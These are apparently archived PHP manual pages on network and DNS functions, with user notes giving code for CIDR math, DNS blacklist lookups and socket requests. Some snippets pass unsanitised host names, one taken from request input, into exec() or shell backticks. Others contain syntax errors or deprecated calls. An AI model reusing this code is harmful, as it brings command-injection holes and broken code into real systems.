// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
null at tty dot net dot ru
13-Oct-2003 07:51
Ported Net::Netmask perl module:
http://null.pp.ru/src/php/Netmask.phps
anderson at piq dot com dot br
07-Aug-2003 01:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
   $route = "/bin/netstat -rn";

   exec($route, $aoutput);
   foreach($aoutput as $key => $line)
   {
       if($key > 1)
       {
           $line = ereg_replace("[[:space:]]+",",",$line);
           list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
           if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
           {
               return $iface;
           }
       }
   }
}
03-Apr-2003 12:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
   if ($netmask_bin[$i] == "1")
     $last_bin .= $first_bin[$i];
   else
     $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com
17-Oct-2002 02:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org
13-Oct-2002 06:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org
15-Dec-2001 11:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}
philip at cornado dot c()m
05-Jul-2001 05:20
More socket functions can be seen here :
http://www.php.net/manual/en/ref.sockets.php
add a note add a note

后退 | 起点 | 前进
ncurses_wvline | 上一级 | checkdnsrr


checkdnsrr

(PHP 3, PHP 4, PHP 5)

checkdnsrr -- Check DNS records corresponding to a given Internet host name or IP address

Description

int checkdnsrr ( string host [, string type] )

Searches DNS for records of type type corresponding to host. Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

type may be any one of: A, MX, NS, SOA, PTR, CNAME, AAAA, A6, SRV, NAPTR or ANY. The default is MX.

host may either be the IP address in dotted-quad notation or the host name.

注: AAAA type added with PHP 5.0.0

注: This function is not implemented on Windows platforms. Try the PEAR class Net_DNS.

See also dns_get_record(),
getmxrr(),
gethostbyaddr(),
gethostbyname(),
gethostbynamel(), and the named(8) manual
page.

add a note add a note User Contributed Notes
satmd
29-Jan-2006 12:29
fox dot 69 at gmx dot net: I wonder where you got this code from. I have written this piece of code half a year ago and released it WITH a copyright header that is missing now! Anyways... this code is to be considered licenced "as-is", however it'd be nice to keep the authors note (This is something about reputation, you see?). Thanks.

(Much) more recent version of it:
<?php
function is_blacklisted($ip) {
   // written by satmd, do what you want with it, but keep the author please
   $result=Array();
   $dnsbl_check=array("bl.spamcop.net",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i].".","A")) {
             $result[]=Array($dnsbl_check[$i],$rip.".".$dnsbl_check[$i]);
           }
         }
     return $result;
   }
}
?>

Beware that this code's signature differs from the original! I also removed osirusoft as its results are not useful anyways (false positives!). Please make sure that you have nscd or a caching dns server running as this code is prone to (d)dos! Only use it in places where it is necessary (when data is to be modified), e.g. the script processing uploads/posts/replies in a blog.
tabascopete78 at yahoo dot com
18-Aug-2005 03:30
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning that I wanted to handle correctly. I wanted to check the DNS somehow but the existing check dns function in php doesn't have one for windows and the one a person supplied here does not work 100% of the time. (The reg exp is wrong.)

Instead use gethostbyname to try to resolve a host. This won't throw any warnings, you just need to check the output and it's all handled gracefully. You'll get the same warnings with fopen and fsockopen.

The only minor drawback is that on invalid hosts it takes a couple seconds to figure it out.
Plasma
18-Jun-2005 04:43
In response to fox dot 69 at gmx dot net's dnsbl function:

<?php
function is_blacklisted($ip) {
   $dnsbl_check=array("bl.spamcop.net",
                       "relays.osirusoft.com",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i] . '.',"A")) {
               $listed.=$dnsbl_check[$i]." ";
           }
         }
       if ($listed) { return $listed; } else { return FALSE; }
   }
}
?>

Add a . after the $dnsbl_check[$i] so that it returns a valid response, I found this was not working (always returned the A record) when I didnt specify the . at the end:

           if (checkdnsrr($rip.".".$dnsbl_check[$i] . '.',"A")) {
Sven
07-Feb-2005 09:46
Note to Patrick's regular expression (from 14-Dec-2004):

Don't use it as it will not recognize every valid email address, because valid domain names do not pass the regex.

For example: test--domain.com is a perfectly valid domain, but won't be recognized as such.

If you have to use a regular expression as a first filter, then either use the complete complex form based on RFC2822, or stick to the most basic regex like this:

".+@.+\..+."

Explanation: The username in front of the @ can include every known character in the world - it has to be escaped somehow, but dealing with this is a mess.

The shortest possible domain name is 1 character long, not 2 or 3 (although many registries impose such arbitrary rules on domain names). Try www.x.org if you don't believe this. :)

Only the top level domain consists of at least 2 characters (country code tld), but there should be no upper limit. Many had to learn the hard way as .info became available. And .museum. Maybe there will be .solarsystem someday.

So the shortest possible email address consists of 6 characters: "a@b.cd".

I do not use more specific character classes for the domain names because we have international domain names, which opens up the whole unicode range as valid characters. Converting these into useable dns domain names is a different task, best left to appropriate librarys such as PEAR's Net_IDNA.

Rule of thumb: Don't assume too much. If a string doesn't contain an "@"-sign and a dot after that, then it surely is no email address, and no further checking needs to take place. Everything else should go one step further.
Patrick
14-Dec-2004 11:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

   if(eregi($exp,$email)){

     if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
       return true;
     }else{
       return false;
     }

   }else{

     return false;

   }
}

?>
dave146 at burtonsys dot com
21-Jun-2004 02:46
The .museum TLD is weird.  All undefined second-level domains resolve to 195.7.77.20 (a/k/a index.museum).  So checkdnsrr() doesn't tell you anything at all about second-level domains under .museum.

-Dave

Editors note:

This applies to all TLDs that have a wildcard covering all non-existant domains. This may at some point in the future include .com or .net and does already cover other domains. If you are unsure just try a couple of random domains that can't possibly exist. If they both resolve to the same IP address and checkdnserr() returns false, you may have to check the IP.
picaune at hotmail dot com
01-Feb-2004 10:58
On Windows NT machines (inc. 2000, XP, 2003, .net, Longhorn) you can emulate this function by spoonfeeding the nslookup proglet.

After spitting out some info on which DNS server it's using, the daemon presents a "> " prompt. At this point if you enter a domain name a list of A records will be returned from the default name server. The sixth line of output has "Address: " followed by the IPv4 address in dotted-quad notation. You may enter "set type=" followed by the IP type. Currently the only supported IP class is IN (Internet); the others are no longer supported. You can exit by entering "exit".

You may perform a one-shot lookup by passing the domain name as a command line argument; in this case nslookup will automatically perform an A lookup on the default name server and exit. The IPv4 address is on the last line with non-whitespace.

Additional information and options can be obtained by running nslookup and then searching for "?".
fox dot 69 at gmx dot net
02-May-2003 04:40
maybe usefull, a blacklist (DNSBL) check function:

<?php
function is_blacklisted($ip) {
   $dnsbl_check=array("bl.spamcop.net",
                       "relays.osirusoft.com",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i],"A")) {
               $listed.=$dnsbl_check[$i]." ";
           }
         }
       if ($listed) { return $listed; } else { return FALSE; }
   }
}
?>
kriek at jonkriek dot com
26-Mar-2003 09:08
The checkdnsrr function is not implemented on the Windows platform. The way to get around this problem is to write your own version of checkdnsrr. Example: myCheckDNSRR

<?php
function myCheckDNSRR($hostName, $recType = '')
{
 if(!empty($hostName)) {
   if( $recType == '' ) $recType = "MX";
   exec("nslookup -type=$recType $hostName", $result);
   // check each line to find the one that starts with the host
   // name. If it exists then the function succeeded.
   foreach ($result as $line) {
     if(eregi("^$hostName",$line)) {
       return true;
     }
   }
   // otherwise there was no mail handler for the domain
   return false;
 }
 return false;
}
?>
Note that the type parameter is optional, and if you don't supply it then the type defaults to "MX" (which means Mail Exchange). If any records are found, the function returns TRUE. Otherwise, it returns FALSE.
23-Jul-2002 09:45
<?php
/******************************************************

These functions can be used on WindowsNT to replace
their built-in counterparts that do not work as
expected.

checkdnsrr_winNT() works just the same, returning true
or false

getmxrr_winNT() returns true or false and provides a
list of MX hosts in order of preference.

*******************************************************/

function checkdnsrr_winNT( $host, $type = '' )
{

   if( !empty( $host ) )
   {

       # Set Default Type:
       if( $type == '' ) $type = "MX";

       @exec( "nslookup -type=$type $host", $output );

       while( list( $k, $line ) = each( $output ) )
       {

           # Valid records begin with host name:
           if( eregi( "^$host", $line ) )
           {
               # record found:
               return true;
           }

       }

       return false;

   }

}

function getmxrr_winNT( $hostname, &$mxhosts )
{

   if( !is_array( $mxhosts ) ) $mxhosts = array();

   if( !empty( $hostname ) )
   {

       @exec( "nslookup -type=MX $hostname", $output, $ret );

       while( list( $k, $line ) = each( $output ) )
       {

           # Valid records begin with hostname:
           if( ereg( "^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$", $line, $parts ) )
           {

               $mxhosts[ $parts[1] ] = $parts[2];

           }

       }

       if( count( $mxhosts ) )
       {

           reset( $mxhosts );

           ksort( $mxhosts );

           $i = 0;

           while( list( $pref, $host ) = each( $mxhosts ) )
           {
               $mxhosts2[$i] = $host;
               $i++;
           }

           $mxhosts = $mxhosts2;

           return true;

       }
       else
       {

           return false;

       }

   }

}

if ( getmxrr_winNT( "microsoft.com", $hosts ) )
{
echo count($hosts)."<br>";
for ($i=0; $i<=count($hosts); $i++){
echo $hosts[$i];}
}
?>
alex at xela dot co dot uk
01-Mar-2002 09:36
Hi,

Interesting thing I've discovered regarding checkdnsrr. When querying a domain's status using the command, always append a dot to the end of the domain you are querying. I.e.

<?php
checkdnsrr($domain.'.')
?>

The dot is sometimes necessary if you are searching for a fully qualified domain which has the same name as a host on your local domain.. ie :-

You want to search for "our.info"
and you happen to have a node on your domain called :

our.info.ourdomain.com

If your DNS server is told to check 'ourdomain.com' before any other you will get a positive result when in fact our.info might not exist.

For this reason adding the dot enforces the root. Of course the dot does not alter results that were OK anyway.

Hope that helps some poor confused people :o)

Alex.
add a note add a note

后退 | 起点 | 前进
Network Functions | 上一级 | closelog


closelog

(PHP 3, PHP 4, PHP 5)

closelog -- Close connection to system logger

Description

bool closelog ( void )

closelog() closes the descriptor being used to write to the system logger. The use of closelog() is optional.

See also define_syslog_variables(),
syslog() and
openlog().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
checkdnsrr | 上一级 | debugger_off


debugger_off

(PHP 3)

debugger_off -- Disable internal PHP debugger (PHP 3)

Description

int debugger_off ( void )

Disables the internal PHP debugger. This function is only available in PHP 3.

For more information see the appendix on Debugging PHP.

add a note add a note User Contributed Notes
kriek at jonkriek dot com
25-Mar-2003 07:00
As stated above: This function is only available in PHP3 and is deprecated there after. You can however download the The DBG Php Debugger: http://www.dd.cron.ru/dbg/ or buy Zend IDE with a debugger module.
add a note add a note

后退 | 起点 | 前进
closelog | 上一级 | debugger_on


debugger_on

(PHP 3)

debugger_on -- Enable internal PHP debugger (PHP 3)

Description

int debugger_on ( string address )

Enables the internal PHP debugger, connecting it to address. This function is only available in PHP 3.

For more information see the appendix on Debugging PHP.

add a note add a note User Contributed Notes
day at PLEASENOSPAM dot daybarr dot com
05-Sep-2005 08:26
The DBG Php Debugger website can be found at http://dd.cron.ru/dbg/
gubed at mccabe . nu
11-Aug-2004 05:33
Other debuggers available are

* Gubed PHP Debugger: http://gubed.sf.net
   (GPL)
   Gubed requires no special PHP modules and is available standalone and integrated in Quanta

* xdebug: http://xdebug.org
   (The Xdebug License)
   XDebug works through a PHP module, is integrated in a few editors afaik, unsure which
add a note add a note

后退 | 起点 | 前进
debugger_off | 上一级 | define_syslog_variables


define_syslog_variables

(PHP 3, PHP 4, PHP 5)

define_syslog_variables -- Initializes all syslog related constants

Description

void define_syslog_variables ( void )

Initializes all constants used in the syslog functions.

See also openlog(),
syslog() and
closelog().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
debugger_on | 上一级 | dns_check_record


dns_check_record

(PHP 5)

dns_check_record -- Synonym for checkdnsrr()

Description

bool dns_check_record ( string host [, string type] )

Check DNS records corresponding to a given Internet host name or IP address

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
define_syslog_variables | 上一级 | dns_get_mx


dns_get_mx

(PHP 5)

dns_get_mx -- Synonym for getmxrr()

Description

bool dns_get_mx ( string hostname, array &mxhosts [, array &weight] )

Get MX records corresponding to a given Internet host name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dns_check_record | 上一级 | dns_get_record


dns_get_record

(PHP 5)

dns_get_record -- Fetch DNS Resource Records associated with a hostname

Description

array dns_get_record ( string hostname [, int type [, array &authns, array &addtl]] )

注: This function is not implemented on Windows platforms, nor does it (currently) work on *BSD systems. Try the PEAR class Net_DNS.

This function returns an array of associative arrays. Each associative array contains at minimum the following keys:

表格 1. Basic DNS attributes

Attribute | Meaning
host | The record in the DNS namespace to which the rest of the associated data refers.
class | dns_get_record() only returns Internet class records and as such this parameter will always return IN.
type | String containing the record type. Additional attributes will also be contained in the resulting array dependant on the value of type. See table below.
ttl | Time To Live remaining for this record. This will not equal the record's original ttl, but will rather equal the original ttl minus whatever length of time has passed since the authoritative name server was queried.

hostname should be a valid DNS hostname such as "www.example.com". Reverse lookups can be generated using in-addr.arpa notation, but gethostbyaddr() is more suitable for the majority of reverse lookups.

By default, dns_get_record() will search for any resource records associated with hostname. To limit the query, specify the optional type parameter. type may be any one of the following: DNS_A, DNS_CNAME, DNS_HINFO, DNS_MX, DNS_NS, DNS_PTR, DNS_SOA, DNS_TXT, DNS_AAAA, DNS_SRV, DNS_NAPTR, DNS_A6, DNS_ALL or DNS_ANY. The default is DNS_ANY.

注: Because of eccentricities in the performance of libresolv between platforms, DNS_ANY will not always return every record, the slower DNS_ALL will collect all records more reliably.

The optional third and fourth arguments to this function, authns and addtl are passed by reference and, if given, will be populated with Resource Records for the Authoritative Name Servers, and any Additional Records respectively. See the example below.

表格 2. Other keys in associative arrays dependant on 'type'

Type | Extra Columns
A | ip: An IPv4 addresses in dotted decimal notation.
MX | pri: Priority of mail exchanger. Lower numbers indicate greater priority. target: FQDN of the mail exchanger. See also dns_get_mx().
CNAME | target: FQDN of location in DNS namespace to which the record is aliased.
NS | target: FQDN of the name server which is authoritative for this hostname.
PTR | target: Location within the DNS namespace to which this record points.
TXT | txt: Arbitrary string data associated with this record.
HINFO | cpu: IANA number designating the CPU of the machine referenced by this record. os: IANA number designating the Operating System on the machine referenced by this record. See IANA's Operating System Names for the meaning of these values.
SOA | mname: FQDN of the machine from which the resource records originated. rname: Email address of the administrative contain for this domain. serial: Serial # of this revision of the requested domain. refresh: Refresh interval (seconds) secondary name servers should use when updating remote copies of this domain. retry: Length of time (seconds) to wait after a failed refresh before making a second attempt. expire: Maximum length of time (seconds) a secondary DNS server should retain remote copies of the zone data without a successful refresh before discarding. minimum-ttl: Minimum length of time (seconds) a client can continue to use a DNS resolution before it should request a new resolution from the server. Can be overridden by individual resource records.
AAAA | ipv6: IPv6 address
A6(PHP >= 5.1.0) | masklen: Length (in bits) to inherit from the target specified by chain. ipv6: Address for this specific record to merge with chain. chain: Parent record to merge with ipv6 data.
SRV | pri: (Priority) lowest priorities should be used first. weight: Ranking to weight which of commonly prioritized targets should be chosen at random. target and port: hostname and port where the requested service can be found. For additional information see: RFC 2782
NAPTR | order and pref: Equivalent to pri and weight above. flags, services, regex, and replacement: Parameters as defined by RFC 2915.

注: Per DNS standards, email addresses are given in user.host format (for example: hostmaster.example.com as opposed to hostmaster@example.com), be sure to check this value and modify if necessary before using it with a functions such as mail().

例子 1. Using dns_get_record()

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

Produces output similar to the following:

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

Since it's very common to want the IP address of a mail server once the MX record has been resolved, dns_get_record() also returns an array in addtl which contains associate records. authns is returned as well containing a list of authoritative name servers.

例子 2. Using dns_get_record() and DNS_ANY

<?php
/* Request "ANY" record for php.net,
   and create $authns and $addtl arrays
   containing list of name servers and
   any additional records which go with
   them */
$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Result = ";
print_r($result);
echo "Auth NS = ";
print_r($authns);
echo "Additional = ";
print_r($addtl);
?>

Produces output similar to the following:

Result = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Auth NS = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Additional = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

See also dns_get_mx(), and dns_check_record()

add a note add a note User Contributed Notes
marcus at synchromedia dot co dot uk
02-Feb-2006 08:02
The docs say "nor does it (currently) work on *BSD systems". Unfortunately this includes MacOS X. It's just not there in my build of 5.1.2 running on 10.4.4.
ed at noxserver dot com
24-Mar-2005 09:44
I recently needed to do some name server and IP discovery on the fly.
Server and domain monitoring system.  If you've got a system with dig
the below seems to work fine for discovering name server and a
addresses.  Shouldn't be hard for you to modify it for the other records if
needed.

$_REQUEST[url] = "http://www.example.com/";

$url_parts = parse_url($_REQUEST[url]);

$dns = Dig($url_parts[host]);
print_r($dns[name_servers]);
print_r($dns[ips]);

function Dig ($domain) {
   $dig = `dig $domain`;
   preg_match_all("/in\s+ns\s+(.+?)\s+/is"
,$dig,$name_servers,PREG_PATTERN_ORDER);
   preg_match_all("/$domain.\s+[0-9]+\s+in\s+a\s+([0-9.]+)\s+/is"
,$dig,$ips,PREG_PATTERN_ORDER);
   $dns[name_servers] = $name_servers[1];
   $dns[ips] = $ips[1];
   return($dns);
}
axelm-php at nona dot net
17-May-2003 08:06
I've done a backport of the function to PHP4.
It is available as extension at:

http://nona.net/software/dns_get_record/

comments & feedback appreciated.

--
Alexander Mayrhofer
axelm-php@nona.net
add a note add a note

后退 | 起点 | 前进
dns_get_mx | 上一级 | fsockopen


fsockopen

(PHP 3, PHP 4, PHP 5)

fsockopen -- Open Internet or Unix domain socket connection

Description

resource fsockopen ( string target [, int port [, int &errno [, string &errstr [, float timeout]]]] )

Initiates a socket connection to the resource specified by target. PHP supports targets in the Internet and Unix domains as described in 附录 N. A list of supported transports can also be retrieved using stream_get_transports().

注: If you need to set a timeout for reading/writing data over the socket, use stream_set_timeout(), as the timeout parameter to fsockopen() only applies while connecting the socket.

As of PHP 4.3.0, if you have compiled in OpenSSL support, you may prefix the hostname with either 'ssl://' or 'tls://' to use an SSL or TLS client connection over TCP/IP to connect to the remote host.

fsockopen() returns a file pointer which may
be used together with the other file functions (such as
fgets(), fgetss(),
fwrite(), fclose(), and
feof()).

If the call fails, it will return FALSE and if the optional errno and errstr arguments are present they will be set to indicate the actual system level error that occurred in the system-level connect() call. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

Depending on the environment, the Unix domain or the optional connect timeout may not be available.

The socket will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

例子 1. fsockopen() Example

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
The example below shows how to retrieve the day and time from the UDP service "daytime" (port 13) in your own machine.

例子 2. Using UDP connection

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

警告

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

注: 当指定数字的 IPv6 地址（例如 fe80::1）时必须将 IP 地址放在方括号内。例如 tcp://[fe80::1]:80。

注: The timeout parameter was introduced in PHP 3.0.9 and UDP support was added in PHP 4.

See also pfsockopen(), stream_set_blocking(), stream_set_timeout(), fgets(), fgetss(), fwrite(), fclose(), feof(), and the Curl extension.

add a note add a note User Contributed Notes
bimal dot das at maxartists dot com
08-Jun-2006 02:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
   fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
   fputs($fp, $header.$vars);
   fwrite($fp, $out);
   while (!feof($fp)) {
       echo fgets($fp, 128);
   }
   fclose($fp);
}

?>
31-May-2006 01:42
For everyone complaining about wasting their time because the socket remained open when using HTTP 1.1

Why don't you try and read the RFC for HTTP before you start trying to implement a simple HTTP client?

http://www.w3.org/Protocols/rfc2616/rfc2616.html
dmitry dot polushkin at gmail dot com
22-May-2006 08:45
If you want to GET/POST some page through the HTTP protocol and if you want to keep-alive your connection, you may have a problem with a loop-stuck. Here is hint how to solve it:
<?php
$fp = fsockopen ("www.php.net", 80, $errno, $errstr, 30);
if(!$fp) {
   echo $errstr;
} else {
   fwrite($fp, "GET / HTTP/1.1\r\nHost: www.php.net\r\nConnection: Keep-Alive\r\n\r\n");
   $data = '';
   while(!feof($fp)) {
       $data .= fread($fp, 4096);
       if(substr($data, -9)=="\r\n\r\n0\r\n\r\n") {
           exit;
       }
   }
}
echo $data;
?>
leibwaechter at web dot de
05-May-2006 06:15
If you want to connect to a SSL server by HTTPS, you have to write
fsockopen('ssl://www.example.com', 443, $errno, $errstr, 30);
instead of
fsockopen('www.example.com', 443, $errno, $errstr, 30);

If have needed days to find that out.
yourpicture at hotpop dot com
05-May-2006 02:30
When your connection times out the server may issue Fatal error: Maximum execution time of 30 seconds exceeded in ...
To get around this try this method used with error handling and copied method for ping operation.

<?php
   function Ping(){
       // false proxy used to generate connection error
       $ProxyServer = "116.155.95.163";
       $ProxyPort = 8080;
       $timeout=10;
       echo "Opening ProxyServer $ProxyServer<br>";
       // must use next two statements
       Set_Time_Limit(0);  //Time for script to run .. not sure how it works with 0 but you need it
       Ignore_User_Abort(True); //this will force the script running at the end

       $handle = fsockopen($ProxyServer, $ProxyPort,$errno,$errstr,$timeout);
       if (!$handle){
           echo "Failed to open ProxyServer $ProxyServer errno=$errno,errstr=$errstr<br>";
           return 0;
       }
       else {
           // copied method for PING like time operation
           $status = socket_get_status($handle);
           echo "Opened ProxyServer $ProxyServer<br>";

           //Time the responce
           list($usec, $sec) = explode(" ", microtime(true));
           $start=(float)$usec + (float)$sec;

           $timeout=120;
           stream_set_timeout($handle,$timeout);
           //send somthing
           ini_set('display_errors','0');
           $write=fwrite($handle,"echo this\n");
           if(!$write){
               return 0;
           }

           echo "Try To Read<br>";
           stream_set_blocking($handle,0);
           //Try to read. the server will most likely respond with a "ICMP Destination Unreachable" and end the read. But that is a responce!
           fread($handle,1024);
           fclose($handle);
           echo "Read<br>";
           ini_set('display_errors','1');

           //Work out if we got a responce and time it
           list($usec, $sec) = explode(" ", microtime(true));
           $laptime=((float)$usec + (float)$sec)-$start;
           if($laptime>$timeout)
               return 0;
           //else
           //    $laptime = round($laptime,3);
           return $laptime;
       }
   }

   // must use ErrorHandler to avoid php error being printed to screen
   function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
   {
       // you can set this to what ever you like.
       echo "In Error Handler<br>";
